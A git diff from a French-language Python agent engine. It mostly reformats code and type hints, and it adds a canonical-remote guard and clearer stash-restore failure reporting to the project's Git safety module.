signature d'une fonction/méthode. @@ -97,7 +96,7 @@ def _format_function(self, node: ast.FunctionDef, filepath: str) -> Dict[str, st args_list.append(arg_name) else: args_list.append(arg_name) - + # Type de retour return_type = "" if node.returns: @@ -105,17 +104,17 @@ def _format_function(self, node: ast.FunctionDef, filepath: str) -> Dict[str, st return_type = f" -> {ast.unparse(node.returns)}" except Exception: return_type = "" - + args_str = ", ".join(args_list) prefix = "async " if isinstance(node, ast.AsyncFunctionDef) else "" signature = f"{prefix}def {node.name}({args_str}){return_type}" - + # Docstring (première instruction si c'est une string) docstring = ast.get_docstring(node) or "" if docstring: # Première ligne seulement pour le changelog docstring = docstring.split("\n")[0].strip() - + return { "type": "function", "name": node.name, @@ -124,8 +123,8 @@ def _format_function(self, node: ast.FunctionDef, filepath: str) -> Dict[str, st "line": node.lineno, "file": filepath } - - def _format_class(self, node: ast.ClassDef, filepath: str) -> Dict[str, str]: + + def _format_class(self, node: ast.ClassDef, filepath: str) -> dict[str, str]: """ Formate la signature d'une classe. @@ -143,14 +142,14 @@ def _format_class(self, node: ast.ClassDef, filepath: str) -> Dict[str, str]: bases.append(ast.unparse(base)) except Exception: bases.append("?") - + bases_str = f"({', '.join(bases)})" if bases else "" signature = f"class {node.name}{bases_str}" - + docstring = ast.get_docstring(node) or "" if docstring: docstring = docstring.split("\n")[0].strip() - + return { "type": "class", "name": node.name, @@ -159,8 +158,8 @@ def _format_class(self, node: ast.ClassDef, filepath: str) -> Dict[str, str]: "line": node.lineno, "file": filepath } - - def get_modified_python_files(self, repo_path: str = ".") -> List[str]: + + def get_modified_python_files(self, repo_path: str = ".") -> list[str]: """ Détecte les fichiers .py modifiés via Git (diff HEAD). @@ -180,7 +179,7 @@ def get_modified_python_files(self, repo_path: str = ".") -> List[str]: encoding='utf-8', errors='ignore' ) - + if result.returncode != 0: # Fallback : fichiers non commités (staged + unstaged) result = subprocess.run( @@ -194,14 +193,14 @@ def get_modified_python_files(self, repo_path: str = ".") -> List[str]: ) if result.returncode != 0: return [] - + files = [] for line in result.stdout.splitlines(): parts = line.strip().split(maxsplit=1) if len(parts) == 2 and parts[1].endswith('.py'): files.append(os.path.abspath(os.path.join(repo_path, parts[1]))) return files - + files = [] for f in result.stdout.strip().splitlines(): f = f.strip() @@ -210,12 +209,12 @@ def get_modified_python_files(self, repo_path: str = ".") -> List[str]: if os.path.exists(abs_path): files.append(abs_path) return files - + except Exception as e: logger.warning(f"[DOC_GEN] Erreur lors de la détection des fichiers modifiés : {e}") return [] - - def generate_changelog_entry(self, modified_files: List[str], session_id: str) -> str: + + def generate_changelog_entry(self, modified_files: list[str], session_id: str) -> str: """ Génère une entrée de changelog Markdown basée sur les fichiers modifiés. @@ -227,22 +226,22 @@ def generate_changelog_entry(self, modified_files: List[str], session_id: str) - Texte Markdown de l'entrée de changelog. """ now = datetime.now().strftime("%Y-%m-%d %H:%M") - + lines = [ f"## Session `{session_id[:12]}` — {now}", "", "### Fichiers modifiés", ] - + all_signatures = [] - + for filepath in modified_files: basename = os.path.basename(filepath) rel_path = filepath # On garde le chemin pour le contexte - + # Extraction des signatures AST sigs = self.extract_signatures(filepath) - + if sigs: sig_names = ", ".join(s["name"] for s in sigs[:5]) if len(sigs) > 5: @@ -251,12 +250,12 @@ def generate_changelog_entry(self, modified_files: List[str], session_id: str) - all_signatures.extend(sigs) else: lines.append(f"- `{basename}` : (pas de signatures extraites)") - + # Section des signatures extraites if all_signatures: lines.append("") lines.append("### Signatures extraites") - + # Grouper par fichier by_file = {} for sig in all_signatures: @@ -264,20 +263,20 @@ def generate_changelog_entry(self, modified_files: List[str], session_id: str) - if fname not in by_file: by_file[fname] = [] by_file[fname].append(sig) - + for fname, sigs in by_file.items(): lines.append(f"\n**{fname}**") for sig in sigs[:10]: # Limiter à 10 signatures par fichier icon = "🔷" if sig["type"] == "class" else "🔹" doc_part = f" — *{sig['docstring'][:80]}*" if sig["docstring"] else "" lines.append(f"- {icon} `{sig['signature']}`{doc_part}") - + lines.append("") lines.append("---") lines.append("") - + return "\n".join(lines) - + def update_docs(self, repo_path: str = ".", session_id: str = ""): """ Point d'entrée principal : détecte les .py modifiés, extrait les signatures AST, @@ -289,29 +288,29 @@ def update_docs(self, repo_path: str = ".", session_id: str = ""): """ # 1. Détecter les fichiers Python modifiés modified_files = self.get_modified_python_files(repo_path) - + if not modified_files: logger.info("[DOC_GEN] Aucun fichier Python modifié détecté. Documentation non mise à jour.") return - + logger.info(f"[DOC_GEN] {len(modified_files)} fichier(s) Python modifié(s) détecté(s). Génération du changelog...") - + # 2. Générer l'entrée de changelog entry = self.generate_changelog_entry(modified_files, session_id) - + # 3. Créer le répertoire docs/ si nécessaire docs_dir = os.path.dirname(self.changelog_path) os.makedirs(docs_dir, exist_ok=True) - + # 4. Lire le contenu existant existing_content = "" header = "# Changelog Automatique — tab5-engine\n\n" header += "> Ce fichier est généré automatiquement par le `DocGenerator` .\n" header += "> Il contient les signatures AST des fichiers Python modifiés lors de chaque session.\n\n" header += "---\n\n" - + if os.path.exists(self.changelog_path): - with open(self.changelog_path, 'r', encoding='utf-8') as f: + with open(self.changelog_path, encoding='utf-8') as f: existing_content = f.read() # Séparer le header du contenu existant if "---\n\n" in existing_content: @@ -321,12 +320,12 @@ def update_docs(self, repo_path: str = ".", session_id: str = ""): existing_body = existing_content else: existing_body = "" - + # 5. Écrire le fichier mis à jour (nouvelles entrées en haut) with open(self.changelog_path, 'w', encoding='utf-8') as f: f.write(header) f.write(entry) if existing_body: f.write(existing_body) - + logger.info(f"[DOC_GEN] Changelog mis à jour : {self.changelog_path}") diff --git a/tools/failover_manager.py b/tools/failover_manager.py index 8aeff9d..124135c 100644 --- a/tools/failover_manager.py +++ b/tools/failover_manager.py @@ -16,7 +16,7 @@ import asyncio import json import logging -from datetime import datetime, timezone +from datetime import UTC, datetime from typing import Optional try: @@ -41,7 +41,7 @@ class FailoverManager: cohérent sur la disponibilité du Deck dans le Moteur. Usage : - mgr = FailoverManager(mqtt_host="${OLLAMA_HOST:-localhost}") + mgr = FailoverManager(mqtt_host="${DECK_HOST:-192.168.1.x}") await mgr.start() status = await mgr.get_deck_status() await mgr.stop() @@ -57,7 +57,7 @@ def __new__(cls, *args, **kwargs): def __init__( self, - mqtt_host: str = "192.168.1.100", # PC écoute en tant que broker + mqtt_host: str = "${PC_HOST:-192.168.1.x}", # PC écoute en tant que broker mqtt_port: int = 1883, client_id: str = "moteur_failover_manager", ): @@ -72,14 +72,14 @@ def __init__( # ── État du Deck ── self.deck_failover_active: bool = False self.failover_count: int = 0 - self.last_seen: Optional[str] = None # ISO timestamp + self.last_seen: str | None = None # ISO timestamp self.last_status: str = "unknown" # ── Internals ── - self._mqtt_client: Optional[mqtt.Client] = None + self._mqtt_client: mqtt.Client | None = None self._connected = False self._started = False - self._loop: Optional[asyncio.AbstractEventLoop] = None + self._loop: asyncio.AbstractEventLoop | None = None self._initialized = True log.info("[FailoverManager] Initialisé. Broker MQTT : %s:%d", mqtt_host, mqtt_port) @@ -119,12 +119,12 @@ def _on_message(self, client, userdata, message): if message.topic == MQTT_TOPIC_FAILOVER: self._process_failover_event(status, ts) elif message.topic == MQTT_TOPIC_HEARTBEAT: - self.last_seen = ts or datetime.now(timezone.utc).isoformat() + self.last_seen = ts or datetime.now(UTC).isoformat() except (json.JSONDecodeError, UnicodeDecodeError) as e: log.warning("[FailoverManager] Message MQTT invalide : %s", e) - def _process_failover_event(self, status: str, timestamp: Optional[str]): + def _process_failover_event(self, status: str, timestamp: str | None): """Met à jour l'état interne selon l'événement reçu.""" prev_active = self.deck_failover_active diff --git a/tools/git_safety.py b/tools/git_safety.py index df7b38d..e68a684 100644 --- a/tools/git_safety.py +++ b/tools/git_safety.py @@ -1,11 +1,26 @@ -import subprocess -import os +""" +tools/git_safety.py — Garde-fou : vérifie que le dépôt Git courant pointe bien +vers le remote canonique (Axellum/moteur_agents) avant toute opération Git. + +Empêche de committer/merger silencieusement dans un dépôt orphelin (ex: un +`.git` créé par erreur, sans remote, dans un dossier de travail en prod). +Utilisé par core/router.py, core/engine.py, api/routes/backlog.py. +""" import logging -from typing import Tuple +import os +import subprocess logger = logging.getLogger(__name__) -def _run_git(args: list, cwd: str = ".") -> Tuple[int, str, str]: +# Remote GitHub canonique du projet. Sert de garde-fou : si un `.git` traîne +# dans le dossier de travail (ex: `git init` fait par erreur en prod, sans +# remote) sans pointer vers ce dépôt, on refuse d'opérer dessus plutôt que de +# committer/merger silencieusement dans un dépôt orphelin non lié à l'historique +# réel (cf. incident Steam Deck du 2026-06-27 : ~400 fichiers absorbés dans un +# dépôt sans remote créé par erreur dans /home/deck/dev_station/moteur_agents). +EXPECTED_REMOTE_SUBSTR = "Axellum/moteur_agents" + +def _run_git(args: list, cwd: str = ".") -> tuple[int, str, str]: """ Fonction utilitaire pour exécuter une commande Git de façon robuste. Retourne le code de retour, stdout et stderr. @@ -29,14 +44,44 @@ def is_git_repo(path: str = ".") -> bool: code, out, _ = _run_git(["rev-parse", "--is-inside-work-tree"], cwd=path) return code == 0 and out == "true" +def is_canonical_repo(repo_path: str = ".") -> bool: + """ + Vérifie que le dépôt Git à repo_path est bien le dépôt canonique du projet + (remote 'origin' pointant vers EXPECTED_REMOTE_SUBSTR), et non un dépôt + orphelin (ex: `git init` accidentel sans remote) qui se trouverait par + hasard au même emplacement. + """ + code, remote_url, _ = _run_git(["remote", "get-url", "origin"], cwd=repo_path) + return code == 0 and EXPECTED_REMOTE_SUBSTR in remote_url + +def _require_canonical_repo(repo_path: str) -> str: + """ + Retourne une chaîne d'erreur (préfixée "Erreur") si repo_path n'est pas un + dépôt Git canonique du projet, sinon une chaîne vide. + """ + if not is_git_repo(repo_path): + return "Erreur : Le dossier de travail n'est pas un dépôt Git." + if not is_canonical_repo(repo_path): + logger.error( + f"[GIT SAFETY] Dépôt non canonique détecté dans '{repo_path}' " + f"(remote 'origin' absent ou différent de '{EXPECTED_REMOTE_SUBSTR}'). " + "Opération refusée pour éviter d'agir sur un dépôt orphelin." + ) + return ( + "Erreur : Le dépôt Git à cet emplacement n'est pas le dépôt canonique " + f"du projet (remote 'origin' manquant ou ≠ {EXPECTED_REMOTE_SUBSTR})." + ) + return "" + def git_create_checkpoint(repo_path: str = ".") -> str: """ Crée un checkpoint Git en sauvegardant l'état actuel de l'espace de travail. Si des modifications non validées (tracked ou untracked) existent, elles sont stockées dans un stash temporaire. """ - if not is_git_repo(repo_path): - return "Erreur : Le dossier de travail n'est pas un dépôt Git." + guard_err = _require_canonical_repo(repo_path) + if guard_err: + return guard_err # Vérifier s'il y a des modifications en cours (fichiers modifiés ou non suivis) code, status_out, _ = _run_git(["status", "--porcelain"], cwd=repo_path) @@ -49,16 +94,16 @@ def git_create_checkpoint(repo_path: str = ".") -> str: # Création d'un message unique pour notre stash import time checkpoint_id = f"agent_checkpoint_{int(time.time())}" - + # stash push --include-untracked pour tout sauvegarder code, stdout, stderr = _run_git( ["stash", "push", "--include-untracked", "-m", checkpoint_id], cwd=repo_path ) - + if code != 0: return f"Erreur lors de la création du stash Git : {stderr or stdout}" - + return f"Succès : Checkpoint Git créé avec succès. ID : {checkpoint_id}. Modifications stashed." def git_rollback_checkpoint(repo_path: str = ".") -> str: @@ -67,8 +112,9 @@ def git_rollback_checkpoint(repo_path: str = ".") -> str: Supprime toutes les modifications apportées depuis le checkpoint (git reset + git clean) puis applique le dernier stash s'il s'agissait de notre checkpoint d'agent. """ - if not is_git_repo(repo_path): - return "Erreur : Le dossier de travail n'est pas un dépôt Git." + guard_err = _require_canonical_repo(repo_path) + if guard_err: + return guard_err # 1. Annuler toutes les modifications locales (fichiers suivis) code, stdout, stderr = _run_git(["reset", "--hard", "HEAD"], cwd=repo_path) @@ -98,8 +144,9 @@ def git_apply_checkpoint(repo_path: str = ".") -> str: Valide le checkpoint. Si des modifications existaient avant l'exécution de l'agent, elles sont fusionnées à nouveau avec le travail accompli par l'agent. """ - if not is_git_repo(repo_path): - return "Erreur : Le dossier de travail n'est pas un dépôt Git." + guard_err = _require_canonical_repo(repo_path) + if guard_err: + return guard_err # Récupérer la liste des stashes pour voir si le dernier vient de l'agent code, stdout, _ = _run_git(["stash", "list"], cwd=repo_path) @@ -120,8 +167,9 @@ def git_prepare_agent_branch(session_id: str, repo_path: str = ".", prefix: str Si des modifications non validées existent dans le workspace de l'utilisateur, elles sont d'abord stashed pour garder la branche propre. """ - if not is_git_repo(repo_path): - return "Erreur : Le dossier de travail n'est pas un dépôt Git." + guard_err = _require_canonical_repo(repo_path) + if guard_err: + return guard_err # 1. Sauvegarder l'état actuel de l'utilisateur s'il y a des modifications code, status_out, _ = _run_git(["status", "--porcelain"], cwd=repo_path) @@ -147,7 +195,7 @@ def git_prepare_agent_branch(session_id: str, repo_path: str = ".", prefix: str branch_name = f"{prefix}{session_id}_{int(time.time())}" else: branch_name = f"{prefix}_{session_id}_{int(time.time())}" - + logger.info(f"[GIT SAFETY] Création de la branche de travail éphémère : {branch_name} depuis {orig_branch}") code, stdout, err = _run_git(["checkout", "-b", branch_name], cwd=repo_path) if code != 0: @@ -164,7 +212,7 @@ def git_generate_semantic_commit_msg(repo_path: str = ".", session_id: str = "") Génère un message de commit sémantique basé sur le diff Git courant. Analyse les fichiers modifiés et produit un message au format Conventional Commits (feat:, fix:, refactor:, docs:, style:, chore:, etc.) - + Le message est généré sans appel LLM (analyse heuristique locale) pour éviter les coûts en tokens. Le LLM peut enrichir le message ultérieurement. """ @@ -173,21 +221,21 @@ def git_generate_semantic_commit_msg(repo_path: str = ".", session_id: str = "") if code != 0 or not stat_out: # Fallback : fichiers non staged code, stat_out, _ = _run_git(["diff", "--stat"], cwd=repo_path) - + if not stat_out: return f"chore(agent): session {session_id} — aucune modification détectée" - + # 2. Récupérer la liste des fichiers modifiés (noms uniquement) code, names_out, _ = _run_git(["diff", "--staged", "--name-only"], cwd=repo_path) if code != 0 or not names_out: code, names_out, _ = _run_git(["diff", "--name-only"], cwd=repo_path) - + modified_files = [f.strip() for f in names_out.splitlines() if f.strip()] if names_out else [] - + # 3. Analyse heuristique du type de commit commit_type = "feat" # Par défaut scope = "agent" - + # Détection du scope basée sur les chemins de fichiers scope_map = { "core/": "core", @@ -198,17 +246,17 @@ def git_generate_semantic_commit_msg(repo_path: str = ".", session_id: str = "") "config": "config", "test": "test", } - + detected_scopes = set() for mf in modified_files: for prefix, s in scope_map.items(): if prefix in mf.lower(): detected_scopes.add(s) break - + if detected_scopes: scope = ",".join(sorted(detected_scopes)) - + # Détection du type de commit basée sur les noms de fichiers et le diff if any("test" in f.lower() for f in modified_files): commit_type = "test" @@ -223,27 +271,27 @@ def git_generate_semantic_commit_msg(repo_path: str = ".", session_id: str = "") elif any("config" in f.lower() for f in modified_files): if all("config" in f.lower() or f.endswith(".json") for f in modified_files): commit_type = "chore" - + # 4. Extraction d'un résumé concis des fichiers principaux file_summary = ", ".join(os.path.basename(f) for f in modified_files[:5]) if len(modified_files) > 5: file_summary += f" (+{len(modified_files) - 5} fichiers)" - + # 5. Lecture du nombre de lignes ajoutées/supprimées depuis --stat stat_lines = stat_out.strip().splitlines() stat_summary = stat_lines[-1] if stat_lines else "" - + # 6. Construction du message de commit commit_msg = f"{commit_type}({scope}): {file_summary}" - + # Corps du message (limité à 200 chars) body = f"Session: {session_id}\n{stat_summary}" if len(body) > 200: body = body[:200] - + full_msg = f"{commit_msg}\n\n{body}" logger.info(f"[GIT SAFETY] Message de commit sémantique généré : {commit_msg}") - + return full_msg def git_finalize_agent_branch(branch_name: str, success: bool, session_id: str, repo_path: str = ".") -> str: @@ -253,8 +301,9 @@ def git_finalize_agent_branch(branch_name: str, success: bool, session_id: str, - Si ÉCHEC : détruit la branche éphémère (rollback). Dans tous les cas, restaure le stash utilisateur s'il existe. """ - if not is_git_repo(repo_path): - return "Erreur : Le dossier de travail n'est pas un dépôt Git." + guard_err = _require_canonical_repo(repo_path) + if guard_err: + return guard_err # 1. Déterminer la branche parente (souvent main ou master, ou lue dans la config) # Pour faire simple et robuste, on va tenter de merge dans 'main' ou la branche par défaut @@ -313,8 +362,50 @@ def git_finalize_agent_branch(branch_name: str, success: bool, session_id: str, logger.info(f"[GIT SAFETY] Restauration du stash utilisateur (index {idx})...") pop_code, pop_out, pop_err = _run_git(["stash", "pop", f"stash@{{{idx}}}"], cwd=repo_path) if pop_code != 0: - logger.error(f"[GIT SAFETY] Conflit lors du pop du stash utilisateur : {pop_err or pop_out}") - merge_status += " Attention : conflit lors de la restauration de vos modifications locales en cours." + # [#T278] Un `stash pop` en échec laisse le stash INTACT dans la + # pile (git ne le dépile que si l'application réussit). Avant ce + # correctif, une simple phrase ajoutée au message de succès + # (« Fusion effectuée avec succès. Attention : conflit… ») laissait + # croire que tout allait bien — la config de prod pouvait rester + # enfermée dans un stash jamais dépilé (incident du 11/08). + # Le statut retourné porte donc l'échec et nomme l'identifiant + # exact du stash resté intact pour une récupération manuelle. + logger.error( + f"[GIT SAFETY] Échec de la restauration du stash utilisateur " + f"(stash@{{{idx}}}, laissé intact) : {pop_err or pop_out}" + ) + merge_status = ( + f"ÉCHEC de la restauration de vos modifications locales : le " + f"stash stash@{{{idx}}} est resté intact dans la pile. " + f"Récupération manuelle : git stash apply stash@{{{idx}}}" + ) + else: + merge_status += " Vos modifications locales ont été restaurées." break return merge_status + + +def lister_stash_agents(repo_path: str = ".") -> list[dict]: + """ + Diagnostic [#T278] : liste les stash créés par l'agent (préfixe + 'user_pre_agent_') encore présents dans la pile, avec leur identifiant + (stash@{N}), leur message et leur âge. Sert à constater l'accumulation de + stash jamais dépilés après des `pop` en échec. Ne supprime RIEN : purger un + stash est irréversible et relève d'une décision humaine. + """ + stashes: list[dict] = [] + code, stdout, _ = _run_git( + ["stash", "list", "--format=%gd%x09%gs%x09%cr"], + cwd=repo_path, + ) + if code != 0 or not stdout: + return stashes + for line in stdout.splitlines(): + parts = line.split("\t") + if len(parts) < 3: + continue + stash_id, message, age = parts[0], parts[1], parts[2] + if "user_pre_agent_" in message: + stashes.append({"id": stash_id, "message": message, "age": age}) + return stashes diff --git a/tools/google_workspace.py b/tools/google_workspace.py index 6f12dfd..9c65827 100644 --- a/tools/google_workspace.py +++ b/tools/google_workspace.py @@ -35,21 +35,21 @@ def get_calendar_events(calendar_id: str = "primary", max_results: str = "10") - try: from core.gcp_oauth_client import get_gcp_client client = get_gcp_client() - + if not client.available: return "Erreur: OAuth2 Google non configuré. Exécutez setup_google_oauth.py" - + # Conversion en int (les agents passent parfois des strings) try: max_r = int(max_results) except (ValueError, TypeError): max_r = 10 - + events = client.get_calendar_events(calendar_id, max_results=max_r) - + if not events: return "Aucun événement à venir trouvé dans le calendrier." - + # Formatage lisible pour l'agent lines = [f"📅 {len(events)} événement(s) à venir :"] for i, ev in enumerate(events, 1): @@ -59,9 +59,9 @@ def get_calendar_events(calendar_id: str = "primary", max_results: str = "10") - location = ev.get("location", "") loc_str = f" — 📍 {location}" if location else "" lines.append(f" {i}. {summary} | {start} → {end}{loc_str}") - + return "\n".join(lines) - + except Exception as e: logger.error(f"[Calendar Tool] Erreur : {e}") return f"Erreur lors de la récupération des événements : {e}" @@ -76,15 +76,15 @@ def list_calendars() -> str: try: from core.gcp_oauth_client import get_gcp_client client = get_gcp_client() - + if not client.available: return "Erreur: OAuth2 Google non configuré. Exécutez setup_google_oauth.py" - + calendars = client.get_calendars() - + if not calendars: return "Aucun calendrier trouvé." - + lines = [f"📋 {len(calendars)} calendrier(s) trouvé(s) :"] for cal in calendars: primary = " ⭐" if cal.get("primary") else "" @@ -92,9 +92,9 @@ def list_calendars() -> str: f" • {cal.get('summary', '?')}{primary} " f"(ID: {cal.get('id', '?')}, rôle: {cal.get('access_role', '?')})" ) - + return "\n".join(lines) - + except Exception as e: logger.error(f"[Calendar Tool] Erreur list_calendars : {e}") return f"Erreur lors de la récupération des calendriers : {e}" @@ -112,20 +112,20 @@ def list_drive_files(max_results: str = "20") -> str: try: from core.gcp_oauth_client import get_gcp_client client = get_gcp_client() - + if not client.available: return "Erreur: OAuth2 Google non configuré. Exécutez setup_google_oauth.py" - + try: max_r = int(max_results) except (ValueError, TypeError): max_r = 20 - + files = client.get_drive_files(max_results=max_r) - + if not files: return "Aucun fichier trouvé dans Google Drive." - + lines = [f"📁 {len(files)} fichier(s) Drive récent(s) :"] for f in files: name = f.get("name", "?") @@ -141,9 +141,9 @@ def list_drive_files(max_results: str = "20") -> str: except (ValueError, TypeError): size_str = "?" lines.append(f" • {name} [{short_mime}] ({size_str}) — modifié: {modified[:10]}") - + return "\n".join(lines) - + except Exception as e: logger.error(f"[Drive Tool] Erreur list_drive_files : {e}") return f"Erreur lors de la récupération des fichiers Drive : {e}" @@ -163,24 +163,24 @@ def read_drive_file(file_id: str) -> str: try: from core.gcp_oauth_client import get_gcp_client client = get_gcp_client() - + if not client.available: return "Erreur: OAuth2 Google non configuré. Exécutez setup_google_oauth.py" - + import requests headers = client._get_headers() - + # D'abord, récupérer les métadonnées du fichier pour connaître le type meta_url = f"https://www.googleapis.com/drive/v3/files/{file_id}?fields=mimeType,name" meta_resp = requests.get(meta_url, headers=headers, timeout=10) - + if meta_resp.status_code != 200: return f"Erreur: Impossible de récupérer les métadonnées du fichier (HTTP {meta_resp.status_code})" - + meta = meta_resp.json() mime_type = meta.get("mimeType", "") file_name = meta.get("name", "?") - + # Google Docs/Sheets/Slides → export en texte brut if "google-apps" in mime_type: export_mime = "text/plain" @@ -188,24 +188,24 @@ def read_drive_file(file_id: str) -> str: export_mime = "text/csv" elif "presentation" in mime_type: export_mime = "text/plain" - + export_url = f"https://www.googleapis.com/drive/v3/files/{file_id}/export?mimeType={export_mime}" resp = requests.get(export_url, headers=headers, timeout=30) else: # Fichiers standards → téléchargement direct download_url = f"https://www.googleapis.com/drive/v3/files/{file_id}?alt=media" resp = requests.get(download_url, headers=headers, timeout=30) - + if resp.status_code != 200: return f"Erreur: Impossible de lire le fichier '{file_name}' (HTTP {resp.status_code})" - + # Limiter la taille de la sortie pour éviter l'explosion de contexte content = resp.text if len(content) > 30000: content = content[:30000] + f"\n\n[... tronqué à 30000 caractères, fichier total: {len(resp.text)} chars]" - + return f"📄 Contenu de '{file_name}' ({mime_type}) :\n\n{content}" - + except Exception as e: logger.error(f"[Drive Tool] Erreur read_drive_file : {e}") return f"Erreur lors de la lecture du fichier Drive : {e}" @@ -229,27 +229,27 @@ def search_gmail(query: str, max_results: str = "5") -> str: try: from core.gcp_oauth_client import get_gcp_client client = get_gcp_client() - + if not client.available: return "Erreur: OAuth2 Google non configuré." - + try: max_r = int(max_results) except (ValueError, TypeError): max_r = 5 - + messages = client.search_gmail(query=query, max_results=max_r) - + if not messages: return f"Aucun email trouvé pour la recherche: '{query}'" - + lines = [f"📧 {len(messages)} email(s) trouvé(s) pour '{query}' :"] for i, msg in enumerate(messages, 1): lines.append(f" {i}. [{msg['date'][:16]}] {msg['subject']}") lines.append(f" De: {msg['from']}") if msg.get("snippet"): lines.append(f" → {msg['snippet'][:100]}") - + return "\n".join(lines) except Exception as e: logger.error(f"[Gmail Tool] Erreur search_gmail : {e}") @@ -269,24 +269,24 @@ def read_spreadsheet(spreadsheet_id: str, range_notation: str = "Sheet1") -> str try: from core.gcp_oauth_client import get_gcp_client client = get_gcp_client() - + if not client.available: return "Erreur: OAuth2 Google non configuré." - + data = client.get_sheets_data(spreadsheet_id, range_notation) values = data.get("values", []) - + if not values: return f"Aucune donnée trouvée dans {range_notation}" - + # Formatage en tableau texte lines = [f"📊 {data.get('rows', 0)} ligne(s) depuis {data.get('range', range_notation)} :"] for row in values[:50]: # Limiter à 50 lignes lines.append(" | " + " | ".join(str(cell) for cell in row) + " |") - + if len(values) > 50: lines.append(f" ... ({len(values) - 50} lignes supplémentaires)") - + return "\n".join(lines) except Exception as e: logger.error(f"[Sheets Tool] Erreur read_spreadsheet : {e}") @@ -305,10 +305,10 @@ def get_tasks(task_list_name: str = "@default") -> str: try: from core.gcp_oauth_client import get_gcp_client client = get_gcp_client() - + if not client.available: return "Erreur: OAuth2 Google non configuré." - + # Si c'est un nom, essayer de trouver l'ID correspondant list_id = task_list_name if not task_list_name.startswith("@") and not task_list_name.startswith("M"): @@ -317,18 +317,18 @@ def get_tasks(task_list_name: str = "@default") -> str: if tl["title"].lower() == task_list_name.lower(): list_id = tl["id"] break - + tasks = client.get_tasks(task_list_id=list_id) - + if not tasks: return "Aucune tâche en cours trouvée." - + lines = [f"✅ {len(tasks)} tâche(s) en cours :"] for i, t in enumerate(tasks, 1): due = f" (échéance: {t['due'][:10]})" if t.get("due") else "" notes = f" — {t['notes'][:60]}" if t.get("notes") else "" lines.append(f" {i}. {t['title']}{due}{notes}") - + return "\n".join(lines) except Exception as e: logger.error(f"[Tasks Tool] Erreur get_tasks : {e}") @@ -348,26 +348,26 @@ def search_youtube(query: str, max_results: str = "5") -> str: try: from core.gcp_oauth_client import get_gcp_client client = get_gcp_client() - + if not client.available: return "Erreur: OAuth2 Google non configuré." - + try: max_r = int(max_results) except (ValueError, TypeError): max_r = 5 - + videos = client.search_youtube(query=query, max_results=max_r) - + if not videos: return f"Aucune vidéo trouvée pour: '{query}'" - + lines = [f"🎬 {len(videos)} vidéo(s) trouvée(s) pour '{query}' :"] for i, v in enumerate(videos, 1): lines.append(f" {i}. {v['title']}") lines.append(f" 📺 {v['channel']} — {v['published'][:10]}") lines.append(f" 🔗 {v['url']}") - + return "\n".join(lines) except Exception as e: logger.error(f"[YouTube Tool] Erreur search_youtube : {e}") @@ -386,20 +386,20 @@ def get_contacts(max_results: str = "10") -> str: try: from core.gcp_oauth_client import get_gcp_client client = get_gcp_client() - + if not client.available: return "Erreur: OAuth2 Google non configuré." - + try: max_r = int(max_results) except (ValueError, TypeError): max_r = 10 - + contacts = client.get_contacts(max_results=max_r) - + if not contacts: return "Aucun contact trouvé." - + lines = [f"👥 {len(contacts)} contact(s) :"] for c in contacts: parts = [c.get("name", "?")] @@ -408,7 +408,7 @@ def get_contacts(max_results: str = "10") -> str: if c.get("phone"): parts.append(f"📱 {c['phone']}") lines.append(f" • {' — '.join(parts)}") - + return "\n".join(lines) except Exception as e: logger.error(f"[Contacts Tool] Erreur get_contacts : {e}") diff --git a/tools/ha_entity_ingest.py b/tools/ha_entity_ingest.py index b5eb7f0..176d83b 100644 --- a/tools/ha_entity_ingest.py +++ b/tools/ha_entity_ingest.py @@ -2,7 +2,7 @@ ha_entity_ingest.py — Ingestion automatique des entités domotiques dans le graphe de connaissances. Ce script : -1. Se connecte à l'API REST locale de Home Assistant (HASS_URL + HASS_TOKEN). +1. Se connecte à l'API REST locale de Home Assistant (HASS_URL + HASS_TOKEN/HA_TOKEN). 2. Récupère tous les états des entités actives. 3. Filtre les entités du M5Stack Tab5 V2 et de l'environnement physique. 4. Peuple graph_entities et graph_relations dans memory.db. @@ -13,17 +13,20 @@ Créé le : 2026-06-04 """ -import os -import sys import asyncio import logging +import os +import sys from datetime import datetime + from core.ha_tls import ha_ssl_context # [P0-1.5] politique TLS HA centralisée +from core.ha_token import get_ha_token # [T239] lecture centralisée du token HA # Ajouter le dossier racine du moteur au PATH sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from dotenv import load_dotenv + load_dotenv() from memory.memory_db import MemoryDB @@ -35,22 +38,22 @@ async def ingest_ha_entities(): """Récupère les entités de Home Assistant et les insère dans le graphe SQLite.""" - ha_token = os.environ.get("HASS_TOKEN") + ha_token = get_ha_token() ha_url = os.environ.get("HASS_URL", "http://${HA_HOST:-192.168.1.x}:8123") - + if not ha_token: - logger.error("HASS_TOKEN n'est pas configuré dans l'environnement / .env. Abandon.") + logger.error("Token Home Assistant non configuré (HASS_TOKEN/HA_TOKEN) dans l'environnement / .env. Abandon.") return False - + logger.info(f"Connexion à Home Assistant sur : {ha_url} ...") - + headers = { "Authorization": f"Bearer {ha_token}", "Content-Type": "application/json", } - + import aiohttp - + # 1. Requêter HA try: async with aiohttp.ClientSession() as session: @@ -63,34 +66,34 @@ async def ingest_ha_entities(): if resp.status != 200: logger.error(f"Erreur HTTP HA: {resp.status}") return False - + entities = await resp.json() logger.info(f"Récupéré {len(entities)} entités de Home Assistant.") except Exception as e: logger.error(f"Erreur de connexion à Home Assistant : {e}") return False - + # 2. Filtrer les entités pertinentes pour le Tab5 V2 # Cible : les entités contenant "tab5" ou les entités critiques validées tab5_entities = [] for entity in entities: entity_id = entity.get("entity_id", "") if "tab5" in entity_id.lower() or entity_id in ( - "switch.m5stack_tab5_home_assistant_hmi_tab5_wake_word_active", + "switch.example_wake_word", "sensor.m5stack_tab5_home_assistant_hmi_tab5_core_temp", "media_player.m5stack_tab5_home_assistant_hmi_tab5_media_player" ): tab5_entities.append(entity) - + logger.info(f"Trouvé {len(tab5_entities)} entités matérielles/logiques liées au Tab5 V2.") - + if not tab5_entities: logger.warning("Aucune entité Tab5 V2 trouvée. Ingestion annulée.") return False - + # 3. Initialiser MemoryDB db = MemoryDB.get_instance() - + # 4. Insérer l'entité matérielle principale Tab5 V2 await db.upsert_graph_entity_async( name="m5stack_tab5_v2", @@ -101,7 +104,7 @@ async def ingest_ha_entities(): f"Dernière synchronisation : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}" ] ) - + # 5. Insérer chaque entité HA et créer la relation count = 0 for entity in tab5_entities: @@ -110,34 +113,34 @@ async def ingest_ha_entities(): attributes = entity.get("attributes", {}) friendly_name = attributes.get("friendly_name", entity_id) last_changed = entity.get("last_changed", "") - + observations = [ f"État actuel : {state}", f"Nom d'affichage : {friendly_name}", f"Dernière modification : {last_changed}" ] - + # Ajouter quelques attributs utiles 